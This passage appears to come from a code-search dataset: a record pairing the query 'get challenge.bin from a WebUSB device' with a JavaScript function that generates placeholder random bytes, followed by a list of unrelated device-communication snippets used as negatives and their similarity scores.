respData)\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tbreak\\r\\n\\t\\tdefault:\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"InvalidHubCmd\\\")\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tvar respMsg = \\\"#### Invalid Command ####\\\"\\r\\n\\t\\t\\tvar respMsg = new Date() + \\\"\\\\n\\\\r#### Invalid Command from IP\\\" + deviceIP + \\\" ####\\\\n\\\\r\\\"\\r\\n\\t\\t\\tconsole.log(respMsg)\\r\\n\\t\\t\\tlogResponse(respMsg)\\r\\n\\t}\\r\\n}\",\n \"start() {\\n let constraints = {\\n video: {\\n facingMode: 'user',\\n height: { min: 360, ideal: 720, max: 1080 },\\n deviceId: localStorage.getItem('deviceId')\\n },\\n audio: true\\n };\\n\\n // navigator.mediaDevices.enumerateDevices()\\n // .then(dd=> { \\n // dd.map(device => {\\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\\n // constraints.video.deviceId = device.deviceId;\\n // }\\n // })\\n // }) \\n\\n // navigator.usb.requestDevice({filters:[]})\\n // .then(selectedDevice => {\\n // device = selectedDevice;\\n // console.log('selectedDevice', device, selectedDevice);\\n // return device.open(); // Begin a session.\\n // })\\n // .then(() => {\\n // console.log('daada', device.selectConfiguration);\\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\\n // .then(() => {\\n // console.log('daada', device.claimInterface);\\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\\n // .then(() => {\\n // console.log('daada', device.controlTransferOut);\\n // device.controlTransferOut({\\n // requestType: 'class',\\n // recipient: 'interface',\\n // request: 0x22,\\n // value: 0x01,\\n // index: 0x02})}) // Ready to receive data\\n // .then(() => {\\n // console.log('dedde', device);\\n // device.transferIn(5, 64)\\n // }) // Waiting for 64 bytes of data from endpoint #5.\\n // .then(result => {\\n // let decoder = new TextDecoder();\\n // console.log('decoder', decoder, result);\\n // console.log('Received: ' + decoder.decode(result.data));\\n // })\\n // .catch(error => { console.log('this.error', error); });\\n console.log('constraints', constraints)\\n\\n setTimeout(() => {\\n // constraints.video.deviceId = localStorage.getItem('deviceId');\\n navigator.mediaDevices\\n .getUserMedia(constraints)\\n .then((stream) => {\\n this.stream = stream;\\n this.emit('stream', stream);\\n })\\n .catch((err) => {\\n if (err instanceof DOMException) {\\n alert('Cannot open webcam and/or microphone');\\n } else {\\n console.log(err);\\n }\\n });\\n }, 3000)\\n\\n return this;\\n }\",\n \"function connectviaBT() {\\r\\n\\t// initialize bluetooth and setup an event listener\\r\\n\\t//todo: refactor name mWebSocket_InitAsync\\r\\n\\tdocument.getElementById( \\\"idStatus\\\").innerHTML=\\\"Connecting via BT\\\";\\r\\n\\t//returns data from BT as Uint8Array [1..20]\\r\\n\\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\\r\\n\\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\\r\\n\\t.then(connectGATT) //todo:@FC please explain what is happening here\\r\\n\\t.then(_ => {\\r\\n\\t\\tconsole.log('Evaluating signal of interest...')\\r\\n\\t\\treturn gattCharacteristic.readValue()\\t//receiving data from BT - Uint8Array [1..20]\\r\\n\\t})\\r\\n\\t.catch(error => {\\r\\n\\t\\tconsole.log('Waiting to start reading: ' + error)\\r\\n\\t})\\r\\n}\",\n \"function performAdvancedPowerActionResponse(stack, name, responses, status) {\\n const dev = stack.dev;\\n const action = dev.powerAction;\\n delete dev.powerAction;\\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\\n if (status != 200) return;\\n if ((responses['AMT_BootSettingData'] == null) || (responses['AMT_BootSettingData'].response == null)) return;\\n var bootSettingData = responses['AMT_BootSettingData'].response;\\n\\n // Clean up parameters\\n bootSettingData['ConfigurationDataReset'] = false;\\n delete bootSettingData['WinREBootEnabled'];\\n delete bootSettingData['UEFILocalPBABootEnabled'];\\n delete bootSettingData['UEFIHTTPSBootEnabled'];\\n delete bootSettingData['SecureBootControlEnabled'];\\n delete bootSettingData['BootguardStatus'];\\n delete bootSettingData['OptionsCleared'];\\n delete bootSettingData['BIOSLastStatus'];\\n delete bootSettingData['UefiBootParametersArray'];\\n delete bootSettingData['RPEEnabled'];\\n delete bootSettingData['RSEPassword']\\n\\n // Ready boot parameters\\n bootSettingData['BIOSSetup'] = ((action >= 11) && (action <= 14));\\n bootSettingData['UseSOL'] = ((action >= 13) && (action <= 14));\\n if ((action == 11) || (action == 13)) { dev.powerAction = 2; } // Power on\\n if ((action == 12) || (action == 14)) { dev.powerAction = 10; } // Reset\\n\\n // Set boot parameters\\n dev.amtstack.Put('AMT_BootSettingData', bootSettingData, function (stack, name, response, status, tag) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Set boot config\\n dev.amtstack.SetBootConfigRole(1, function (stack, name, response, status, tag) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Set boot order\\n dev.amtstack.CIM_BootConfigSetting_ChangeBootOrder(null, function (stack, name, response, status) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Perform power action\\n try { dev.amtstack.RequestPowerStateChange(dev.powerAction, performPowerActionResponse); } catch (ex) { }\\n }, 0, 1);\\n }, 0, 1);\\n }, 0, 1);\\n }\",\n \"function SendPortSync() {\\n}\",\n \"function webRtcSendOffer(clientName, offerValue) {\\r\\n\\tif (typeof thisPeersName != \\\"string\\\") {\\r\\n\\t\\tconsole.log(\\\"Please set peer name before calling this function\\\");\\r\\n\\t\\treturn;\\r\\n\\t}\\r\\n\\t\\r\\n var xhttp = new XMLHttpRequest();\\r\\n\\txhttp.onreadystatechange = function() {\\r\\n\\t\\tif (xhttp.readyState == 4 && xhttp.status == 200) {\\r\\n \\r\\n //see if there is a client asking to connect\\r\\n if (typeof xhttp.responseText == \\\"string\\\" && xhttp.responseText.length > 0) {\\r\\n ;\\r\\n }\\r\\n \\r\\n\\t\\t}\\r\\n\\t};\\r\\n var full = location.protocol+'//'+location.hostname+(location.port ? ':'+location.port: ''); \\r\\n \\r\\n\\t//xhttp.open(\\\"GET\\\", \\\"http://\\\" + window.location.host + \\\"/ioInterface?command=getOtsValues\\\", true);\\r\\n var message = {messageType: 'offer', offer: offerValue};\\r\\n var url = full + \\\"/webrtc?command=writeMessage&clientName=\\\" + thisPeersName + \\\"&destinationName=\\\" + clientName + \\\"&message=\\\" + btoa(JSON.stringify(message));\\r\\n \\r\\n //console.log(url.length, url);\\r\\n xhttp.open(\\\"GET\\\", url, true);\\r\\n\\txhttp.send();\\t \\r\\n}\",\n \"sendMakeBetShan2(_chipbet) {\\n cc.NGWlog(\\\"Vua dat cuoc =\\\" + _chipbet);\\n var data = {\\n evt: \\\"bm\\\",\\n M: _chipbet\\n };\\n this.sendDataGame(JSON.stringify(data));\\n }\",\n \"function IoTHubGetDeviceInfo(deviceId, iothubname) {\\n console.log(\\\"Getting Device Info : \\\" + deviceId);\\n $('#IoTHub_Busy_Indicator').css('display', 'flex');\\n $.ajax({\\n type: \\\"GET\\\",\\n url: '/home/IoTHubGetDeviceInfo',\\n data: { deviceId: deviceId },\\n success: function (response) {\\n $('#deviceConnectionState').html(response.connectionState);\\n\\n if (response.connectionState == \\\"Disconnected\\\") {\\n $('#deviceConnectionState').css(\\\"color\\\", 'red');\\n }\\n else {\\n $('#deviceConnectionState').css(\\\"color\\\", 'blue');\\n }\\n $('#deviceModelId').html(response.deviceModelId);\\n $('#deviceConnectionString').html(\\\"HostName=\\\" + iothubname + \\\";DeviceId=\\\" + response.deviceId + \\\";SharedAccessKey=\\\" + response.symmetricKey);\\n $('#deviceKey').html(response.symmetricKey);\\n\\n DisableButton($('#btnDeviceTwin'), false);\\n\\n if (response.deviceModelId != null && response.deviceModelId.length > 0) {\\n DisableButton($('#btnDeviceModelIdCopy'), false);\\n }\\n else\\n {\\n DisableButton($('#btnDeviceModelIdCopy'), true);\\n }\\n\\n if (response.symmetricKey.length > 0) {\\n DisableButton($('#btnDeviceConnectionStringCopy'), false);\\n DisableButton($('#btnDeviceKeyCopy'), false);\\n }\\n else {\\n DisableButton($('#btnDeviceConnectionStringCopy'), true);\\n DisableButton($('#btnDeviceKeyCopy'), true);\\n }\\n\\n //$('#btnDeviceModelIdCopy').prop('disabled', true);\\n return true;\\n },\\n error: function (jqXHR) {\\n // clear all fields\\n IoTHubModalClear();\\n alert(\\\" Status: \\\" + jqXHR.status + \\\" \\\" + jqXHR.responseText);\\n return false;\\n }\\n });\\n $('#IoTHub_Busy_Indicator').hide();\\n\\n}\",\n \"function callAPI(req,res,handleResponse){\\n var host = 'www.blueworkslive.com';\\n var username = 'xxxx';\\n var password = 'yyyy';\\n var path = '/api/Auth';\\n var headers = {\\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\\n };\\n var options = {\\n host: host,\\n path: path,\\n method: 'GET',\\n headers: headers\\n };\\n var bwlResData = {};\\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\\n var bwlRequest = https.request(options, function(bwlResponse) {\\n\\tconsole.log(\\\"BwlApiCall: Response status=\\\"+bwlResponse.statusCode);\\n\\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\\n\\tbwlResData.headers = bwlResponse.headers;\\n\\tvar bufferData = [];\\n\\tbwlResponse.on('data', function(data) {\\n\\t bufferData.push(data);\\n console.info('BwlApiCall: Response data received');\\n\\t});\\n\\tbwlResponse.on('end', function() {\\n console.info('BwlApiCall: completed, calling callback');\\n\\t bwlResData.data = Buffer.concat(bufferData);\\n\\t handleResponse(req, res, bwlResData);\\n });\\n });\\n/* if ((reqData.method == \\\"post\\\" || reqData.method == \\\"put\\\") && reqData.senddata) {\\n console.log(reqData.method+' sending data: '+reqData.senddata);\\n bwlRequest.write(reqData.senddata);\\n } */\\n bwlRequest.end();\\n bwlRequest.on('error', function(e){\\n console.error('BwlApiCall: REQUEST-ERROR '+e);\\n });\\n}\",\n \"function sendConvertRAIDType(cardchar) {\\n\\t//collect data from web UI\\n\\tvar NewRAIDType = document.getElementById(\\\"RAIDType\\\"+cardchar).selectedIndex - 1;\\n\\tvar GUID = $(\\\"#GUID\\\"+cardchar).html();\\n\\n\\t//store the command which is in progress\\n\\t$(\\\"#cardProgCmd\\\"+cardchar).html(JS_CONVERT_RAID_TYPE_REQ);\\n\\n\\t//console.log(\\\"Convert GUID = \\\"+GUID);\\n\\n\\t//disable \\\"Convert\\\" button\\n\\t$(\\\"#confirmConvertRAIDType\\\"+cardchar).prop(\\\"disabled\\\", true);\\n\\n\\t//send command\\n\\tConvertRAIDType(GUID, NewRAIDType);\\n}\",\n \"async function blxSendBinblock (data, fname, syncflag, mem_addr) {\\n let txlen_total = data.length\\n let tx_pos = 0\\n const time0 = Date.now() - 1000\\n let tw_old = time0\\n let tw_new // Working Time fuer Fortschritt\\n let sblk_len = (max_ble_blocklen - 2) & 0xFFFC // Initial MAX Size Block, but Multi of 4\\n\\n if (data.length > 1000) { // Mehr als 1k Daten UND File: -> FAST\\n\\n if(fname === undefined){\\n // Might bee too fast for Download to CPU Memory, set to slow with .cf 15 or greater!!!\\n if(con_memfast_speed < 15)\\n terminalPrint(\\\"*** WARNING: Memory Connection Speed: \\\" + con_memfast_speed ) \\n const os = con_fast_speed // temporaer mit MEMORY Speed\\n con_fast_speed = con_memfast_speed\\n await blxConnectionFast()\\n con_fast_speed = os\\n }else{\\n await blxConnectionFast()\\n } \\n if (blxErrMsg) return\\n // console.log(\\\"Fast OK\\\");\\n }\\n if(fname!== undefined) await blxDeviceCmd('P' + (syncflag ? '!' : '') + ':' + fname, 5000) // P wie PUT\\n else {\\n {\\n let wadr = mem_addr\\n let wsize = txlen_total\\n const sector_size = 4096 // Fix fuer nrF52\\n // Sektoren in einzeln Loeschen, da langsam\\n while(wsize>0){\\n await blxDeviceCmd('K:' + wadr + ' ' + 1 , 5000) \\n if (blxErrMsg) return\\n wadr+=sector_size\\n wsize-=sector_size\\n }\\n }\\n await blxDeviceCmd('I:' + mem_addr, 5000) // I wie Internal\\n }\\n if (blxErrMsg) return\\n\\n try {\\n for (;;) {\\n let blen = txlen_total // Blocklen\\n if (blen > sblk_len ) blen = sblk_len\\n const bdata = new Uint8Array(blen + 2)\\n bdata[0] = blen\\n bdata[1] = BB_BLE_BINBLK_IN // Binary Data\\n // Aufgabe: data[tx_pos] an bdata[2] kopieren\\n const datablock = data.subarray(tx_pos, tx_pos + blen)\\n bdata.set(datablock, 2) // Copies datablock into bdata\\n\\n await NUS_data_chara_write.writeValue(bdata.buffer)\\n\\n // console.log(bdata);\\n txlen_total -= blen\\n tx_pos += blen\\n if (!txlen_total) {\\n const dtime = Date.now() - time0\\n terminalPrint('Transfer OK (' + dtime / 1000 + ' sec, ' + ((data.length / dtime * 1000).toFixed(0)) + ' Bytes/sec)')\\n break\\n }\\n tw_new = Date.now()\\n if (tw_new - tw_old > 1000) { // Alle Sekunde Fortschritt\\n tw_old = tw_new\\n terminalPrint(((tx_pos * 100) / data.length).toFixed(0) + '% / ' + tx_pos + ' Bytes')\\n }\\n }\\n } catch (error) {\\n if (full_connected_flag === false) blxErrMsg = 'ERROR: Connection lost'\\n else blxErrMsg = 'ERROR: Transfer ' + error\\n return\\n }\\n\\n await blxDeviceCmd('L', 5000) // Close\\n\\n if (blxErrMsg) return\\n if (data.length > 1000) { // Mehr als 1k Daten: -> Wieder SLOW\\n await blxConnectionSlow()\\n }\\n }\",\n \"function processData(buffer) {\\n console.log(\\\"Status: \\\"+status);\\n console.log('Read message: \\\"' + buffer + '\\\"');\\n if (buffer.toString() == 'Ok!' && status == 0 && type !=1) {\\n //Emepzamos el envio\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += data[hexInd];\\n pxInd += 4;\\n hexInd++;\\n }\\n\\n if (pxInd >= w * h) status++; \\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"Buffer to send1: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 0 && type == 1) {\\n //Emepzamos el envio pantalla a color\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += data[hexInd];\\n pxInd += 2; //cada pixel son 2 bits, por eso para cada hex tenemos avanzar 2 pixeles.\\n hexInd++;\\n }\\n if (pxInd >= w * h) status++;\\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3);\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"Buffer to send info: dSizeCalc\\\"+dSizeCalc+\\\" buffIndCalc: \\\"+buffIndCalc+\\\" pxInd: \\\"+pxInd);\\n console.log(\\\"Buffer to send2: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 1 && type != 1) {\\n //Hacemos el Show\\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: S\\\");\\n });\\n status = 4;\\n console.log(\\\"Desconectamos....\\\");\\n clearTimeout(timeout);\\n screenDisconect(false);\\n return response.send({\\n message: 'Success at updating the device: ' + macaddress,\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 1 && type == 1) {\\n //Hacemos el Next\\n\\n pxInd =0;\\n hexInd = 0;\\n\\n epdCharacteristic.write(Buffer.from('N', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: N\\\"); \\n });\\n status = 2;\\n } else if (buffer.toString() == 'Ok!' && status == 2 && type == 1) {\\n //Hacemos el Load del Next\\n //let dataNext = req.body.dataNext;\\n //Emepzamos el envio\\n rqMsg = '';\\n\\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\\n rqMsg += dataNext[hexInd];\\n pxInd += 4; //en caso de rojo, cada pixel es un bit.\\n hexInd++;\\n }\\n if (pxInd >= w * h) status = 3;\\n\\n const arr = new Uint16Array(2);\\n\\n buffIndCalc = (rqMsg.length + 12) / 2;\\n const buffInd = Buffer.alloc(2);\\n buffInd.writeUInt16LE(buffIndCalc);\\n\\n dSizeCalc += buffIndCalc;\\n\\n const dSize = Buffer.alloc(3);\\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\\n\\n\\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\\n console.log(\\\"N_Buffer to send3: \\\" + bufferToSend.toString('hex'));\\n\\n\\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: L\\\");\\n });\\n } else if (buffer.toString() == 'Ok!' && status == 3 && type == 1) {\\n console.log(\\\"Finalizamos...\\\");\\n //Hacemos el Show\\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\\n if (err) console.log(err);\\n console.log(\\\"wrote: S\\\");\\n });\\n status = 4;\\n console.log(\\\"Desconectamos....\\\");\\n clearTimeout(timeout);\\n screenDisconect(false);\\n return response.send({\\n message: 'Success at updating the device: ' + macaddress,\\n });\\n }\\n trytoread();\\n }\",\n \"function setDeviceEnabledBand() {\\n\\tconsole.log('info: setDeviceEnabledBand() is called.');\\n\\n\\t// Get csrf_token\\n\\tvar api = '/';\\n\\tvar url = 'http://' + document.apiform.address.value + api;\\n\\tupdateMessage(url, '', 'Connecting...', '');\\n\\n\\tvar xhr = new XMLHttpRequest();\\n\\txhr.open('GET', url, false);\\n\\txhr.withCredentials = true;\\n\\txhr.onerror = function(e) {\\n\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\\n\\t};\\n\\txhr.send(null);\\n\\n\\tif (xhr.status === 200) {\\n\\t\\tvar str = xhr.responseText;\\n\\t\\tvar csrf_token = str.match(//i);\\n\\t\\tcsrf_token = csrf_token[1];\\n\\t\\tif (csrf_token != null) {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Success to get a token: ' + csrf_token, '');\\n\\t\\t} else {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Fail to get the token.', '');\\n\\t\\t\\treturn -1;\\n\\t\\t}\\n\\n\\t\\t// Login\\n\\t\\tapi = '/api/user/login';\\n\\t\\turl = 'http://' + document.apiform.address.value + api;\\n\\t\\tupdateMessage(url, '', 'Connecting...', '');\\n\\n\\t\\txhr.open('POST', url, false);\\n\\t\\txhr.onerror = function(e) {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\\n\\t\\t};\\n\\n\\t\\t// Generate credential\\n\\t\\tvar username = 'admin';\\n\\t\\tvar password = document.apiform.password.value;\\n\\t\\tvar password_hash = encryptSHA256(username + encryptSHA256(password) + csrf_token);\\n\\n\\t\\tvar login_params = '';\\n\\t\\tlogin_params += '\\\\r';\\n\\t\\tlogin_params += '\\\\r';\\n\\t\\tlogin_params += '' + username + ' \\\\r';\\n\\t\\tlogin_params += '' + password_hash + ' \\\\r';\\n\\t\\tlogin_params += '4 \\\\r';\\n\\t\\tlogin_params += ' \\\\r';\\n\\t\\tconsole.log(login_params);\\n\\n\\t\\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\\n\\t\\txhr.setRequestHeader('__RequestVerificationToken', csrf_token);\\n\\t\\txhr.send(login_params);\\n\\n\\t\\t// Login Result\\n\\t\\tif (xhr.status === 200) {\\n\\t\\t\\t\\n\\t\\t\\tvar error_code = xhr.responseText.match(/([0-9]+)<\\\\/code>/i);\\n\\t\\t\\tif (error_code == null) {\\n\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Login Successful!', xhr.responseText);\\n\\n\\t\\t\\t\\t// Set LTE Bands\\n\\t\\t\\t\\tapi = '/api/net/net-mode';\\n\\t\\t\\t\\turl = 'http://' + document.apiform.address.value + api;\\n\\t\\t\\t\\tupdateMessage(url, '', 'Connecting...', '')\\n\\t\\t\\t\\ttoken = xhr.getResponseHeader('__RequestVerificationTokenOne');\\n\\t\\t\\t\\txhr.open('POST', url, true);\\n\\t\\t\\t\\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\\n\\t\\t\\t\\txhr.setRequestHeader('__RequestVerificationToken', token);\\n\\t\\t\\t\\txhr.onload = function(e) {\\n\\t\\t\\t\\t\\terror_code = xhr.responseText.match(/([0-9]+)<\\\\/code>/i);\\n\\t\\t\\t\\t\\tconsole.log(error_code);\\n\\t\\t\\t\\t\\tif (error_code == null) {\\n\\t\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Change Successful!', xhr.responseText);\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\txhr.onerror = function(e) {\\n\\t\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Check Parameters.', '')\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\txhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=\\\"UTF-8\\\"');\\n\\t\\t\\t\\tconsole.log(document.apiform.reqparams.value);\\n\\t\\t\\t\\txhr.send(document.apiform.reqparams.value);\\n\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t} else {\\n\\t\\t\\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', xhr.responseText);\\n\\t\\t}\\n\\n\\t} else {\\n\\t\\tupdateMessage(url, xhr.statusText, 'Error: Check the address or your browser status (Cross-Origin Resource Sharing).', '')\\n\\t}\\n}\",\n \"async send() {\\n const onComplete = this.props.navigation.state.params.onComplete;\\n try {\\n let done = await this.props.wire.send();\\n\\n if (!done) {\\n return;\\n }\\n\\n if (onComplete) onComplete();\\n this.props.navigation.goBack();\\n } catch (e) {\\n if (!e || e.message !== 'E_CANCELLED') {\\n console.error('Wire/send()', e);\\n\\n Alert.alert(\\n 'There was a problem sending wire',\\n (e && e.message) || 'Unknown internal error',\\n [{ text: 'OK' }],\\n { cancelable: false }\\n );\\n }\\n }\\n }\",\n \"function onOpen() {\\n console.log('Port Open');\\n console.log(`Baud Rate: ${port.options.baudRate}`);\\n const outString = String.fromCharCode(output);\\n console.log(`Sent:\\\\t\\\\t${outString}`);\\n port.write(outString);\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6560741","0.6358267","0.63325894","0.61360186","0.6115113","0.60801035","0.6074475","0.60720617","0.6020907","0.58643204","0.5797482","0.57846606","0.57151884","0.57029116","0.56599176","0.5598955","0.55791366","0.55470836","0.55214137","0.54890126","0.54794246","0.5467407","0.5458962","0.54161745","0.5398611","0.5372667","0.53533864","0.5348324","0.532022","0.5315319","0.5274399","0.52686507","0.52545553","0.52516514","0.5248442","0.5238125","0.52163774","0.521211","0.5209181","0.51974756","0.5196469","0.51837546","0.5177954","0.516178","0.51512545","0.5147174","0.5141254","0.5138159","0.5130048","0.5121737","0.51207095","0.51155424","0.5093415","0.50916004","0.5079893","0.507947","0.5044861","0.50287235","0.50232357","0.5014572","0.5011383","0.50094104","0.50059235","0.49870503","0.49651325","0.49646312","0.4957968","0.49397355","0.49355248","0.4933031","0.49305695","0.49214342","0.49206194","0.49155226","0.4906333","0.49052852","0.49001572","0.4897377","0.48950967","0.48870608","0.48804173","0.4879315","0.4852489","0.48491997","0.4846404","0.48336947","0.48326552","0.48210114","0.48195332","0.48153195","0.4812433","0.48043644","0.4793943","0.47933307","0.4783341","0.47805634","0.47763786","0.47715887","0.47614968","0.47608984","0.47510663"],"string":"[\n \"0.6560741\",\n \"0.6358267\",\n \"0.63325894\",\n \"0.61360186\",\n \"0.6115113\",\n \"0.60801035\",\n \"0.6074475\",\n \"0.60720617\",\n \"0.6020907\",\n \"0.58643204\",\n \"0.5797482\",\n \"0.57846606\",\n \"0.57151884\",\n \"0.57029116\",\n \"0.56599176\",\n \"0.5598955\",\n \"0.55791366\",\n \"0.55470836\",\n \"0.55214137\",\n \"0.54890126\",\n \"0.54794246\",\n \"0.5467407\",\n \"0.5458962\",\n \"0.54161745\",\n \"0.5398611\",\n \"0.5372667\",\n \"0.53533864\",\n \"0.5348324\",\n \"0.532022\",\n \"0.5315319\",\n \"0.5274399\",\n \"0.52686507\",\n \"0.52545553\",\n \"0.52516514\",\n \"0.5248442\",\n \"0.5238125\",\n \"0.52163774\",\n \"0.521211\",\n \"0.5209181\",\n \"0.51974756\",\n \"0.5196469\",\n \"0.51837546\",\n \"0.5177954\",\n \"0.516178\",\n \"0.51512545\",\n \"0.5147174\",\n \"0.5141254\",\n \"0.5138159\",\n \"0.5130048\",\n \"0.5121737\",\n \"0.51207095\",\n \"0.51155424\",\n \"0.5093415\",\n \"0.50916004\",\n \"0.5079893\",\n \"0.507947\",\n \"0.5044861\",\n \"0.50287235\",\n \"0.50232357\",\n \"0.5014572\",\n \"0.5011383\",\n \"0.50094104\",\n \"0.50059235\",\n \"0.49870503\",\n \"0.49651325\",\n \"0.49646312\",\n \"0.4957968\",\n \"0.49397355\",\n \"0.49355248\",\n \"0.4933031\",\n \"0.49305695\",\n \"0.49214342\",\n \"0.49206194\",\n \"0.49155226\",\n \"0.4906333\",\n \"0.49052852\",\n \"0.49001572\",\n \"0.4897377\",\n \"0.48950967\",\n \"0.48870608\",\n \"0.48804173\",\n \"0.4879315\",\n \"0.4852489\",\n \"0.48491997\",\n \"0.4846404\",\n \"0.48336947\",\n \"0.48326552\",\n \"0.48210114\",\n \"0.48195332\",\n \"0.48153195\",\n \"0.4812433\",\n \"0.48043644\",\n \"0.4793943\",\n \"0.47933307\",\n \"0.4783341\",\n \"0.47805634\",\n \"0.47763786\",\n \"0.47715887\",\n \"0.47614968\",\n \"0.47608984\",\n \"0.47510663\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":17,"cells":{"query":{"kind":"string","value":"Call WebUSB API to get challenge.bin from device"},"document":{"kind":"string","value":"function getChallenge () {\n\n //Fake data\n var randomData = [];\n\n\n var bytes = new Uint8Array(4);\n for (var i=4; i--; ) {\n let longRandomNumber = Math.floor(Math.random() * 1000000000);\n bytes[i] = longRandomNumber & (255);\n longRandomNumber = longRandomNumber >> 8\n }\n randomData.push(bytes);\n console.log(randomData);\n var blob = new Blob(randomData);\n blob[\"lastModifiedDate\"] = \"\";\n blob[\"name\"] = \"challenge.bin\";\n var fakeF = blob;\n console.log(fakeF);\n return fakeF;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async function RequestUSBDevice() { \n await navigator.usb.requestDevice({ filters: [{}] });\n}","async getRequestDeviceInfo() {\n const outputReportID = 0x01;\n const subcommand = [0x02];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onDeviceInfo = ({ detail: deviceInfo }) => {\n this.removeEventListener('deviceinfo', onDeviceInfo);\n delete deviceInfo._raw;\n delete deviceInfo._hex;\n resolve(deviceInfo);\n };\n this.addEventListener('deviceinfo', onDeviceInfo);\n });\n }","function readRHUSB() {\n port.write(\"PA\\r\\n\");\n}","function bluetooth(){\n\n if (!navigator.bluetooth) {\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\n }\n const z = document.getElementById('debugger');\n const y = document.getElementById('serial')\n\n if (z.style.display ===\"none\"){\n z.style.display = \"block\";\n }else{\n }\n \n z.innerHTML= z.innerHTML + \"\\n\"+ ('Requesting Bluetooth Devices');\n navigator.bluetooth.requestDevice({\n filters:[{\n name: 'MicroTrynkit',\n }],\n optionalServices: [service]\n })\n .then(device=>{\n z.innerHTML = z.innerHTML + \"\\n\"+ (\"Connected to: \");\n z.innerHTML= z.innerHTML +\"\\n\"+ (\">Name:\" + device.name);\n z.innerHTML= 